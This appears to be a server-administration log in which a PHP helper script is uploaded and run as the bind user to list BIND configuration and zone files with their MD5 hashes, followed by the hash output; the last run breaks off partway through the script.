MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 13:19:17: Establishing a connection
2026-04-24 13:19:17: 

PUT: /tmp/pkp958379

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 13:19:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp958379; rm /tmp/pkp958379'

2026-04-24 13:19:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 13:19:20: Establishing a connection
2026-04-24 13:19:20: 

PUT: /tmp/pkp355522

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
